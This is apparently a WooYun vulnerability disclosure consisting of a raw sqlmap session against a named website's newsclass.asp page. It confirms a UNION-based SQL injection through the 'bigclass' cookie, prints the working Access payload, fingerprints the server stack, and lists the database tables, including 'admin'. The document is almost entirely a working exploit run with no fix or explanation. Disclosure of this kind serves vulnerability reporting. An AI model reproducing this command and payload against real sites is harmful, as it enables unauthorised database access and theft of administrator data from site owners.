WooYun.org

J:\sqlmap>python sqlmap.py -u "http://www.shypost.com/demo/newsclass.asp" --cook
ie "bigclass=1" --level 2 --dbms=access --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:04:46
[12:04:47] [INFO] testing connection to the target URL
[12:04:51] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[12:05:11] [INFO] target URL is stable
[12:05:11] [INFO] testing if Cookie parameter 'bigclass' is dynamic
[12:05:27] [WARNING] Cookie parameter 'bigclass' does not appear dynamic
[12:05:31] [WARNING] heuristic (basic) test shows that Cookie parameter 'bigclas
s' might not be injectable
[12:05:31] [INFO] testing for SQL injection on Cookie parameter 'bigclass'
do you want to include all tests for 'Microsoft Access' extending provided level
(2) and risk (1)? [Y/n]
[12:06:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:06:13] [WARNING] reflective value(s) found and filtering out
[12:08:57] [INFO] testing 'Generic boolean-based blind - Parameter replace (orig
inal value)'
[12:09:03] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl
ace (original value)'
[12:09:46] [INFO] testing 'Microsoft Access boolean-based blind - GROUP BY and O
RDER BY clauses'
[12:09:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:14:30] [INFO] target URL appears to be UNION injectable with 10 columns
[12:14:59] [INFO] Cookie parameter 'bigclass' is 'Generic UNION query (NULL) - 1
to 10 columns' injectable
Cookie parameter 'bigclass' is vulnerable. Do you want to keep testing the other
s (if any)? [y/N]
sqlmap identified the following injection points with a total of 139 HTTP(s) req
uests:
---
Place: Cookie
Parameter: bigclass
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: bigclass=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,CHR(113)&CHR(105)&CHR(102)&CHR(103)&CHR(113)&CHR(83)&CHR(67)&CHR(98)&CHR(109)&
CHR(112)&CHR(83)&CHR(83)&CHR(80)&CHR(69)&CHR(65)&CHR(113)&CHR(104)&CHR(98)&CHR(1
07)&CHR(113),NULL FROM MSysAccessObjects%16
---
[12:17:33] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[12:17:33] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[12:17:35] [WARNING] something went wrong with full UNION technique (could be be
cause of limitation on retrieved number of entries). Falling back to partial UNI
ON technique
[12:17:42] [WARNING] the SQL query provided does not return any output
[12:17:42] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[12:17:42] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[12:17:46] [INFO] checking table existence using items from 'J:\sqlmap\txt\commo
n-tables.txt'
[12:17:46] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[12:17:48] [INFO] starting 10 threads
[12:18:00] [INFO] retrieved: product
[12:18:04] [INFO] retrieved: admin
[12:18:16] [INFO] tried 80/3161 items (3%)
[12:18:16] [INFO] waiting for threads to finish (Ctrl+C was pressed)
[12:18:22] [WARNING] user aborted during table existence check. sqlmap will disp
lay partial output
Database: Microsoft_Access_masterdb
[3 tables]
+---------+
| admin |
| news |
| product |
+---------+
[12:18:22] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\www.shypost.com'
[*] shutting down at 12:18:22
J:\sqlmap>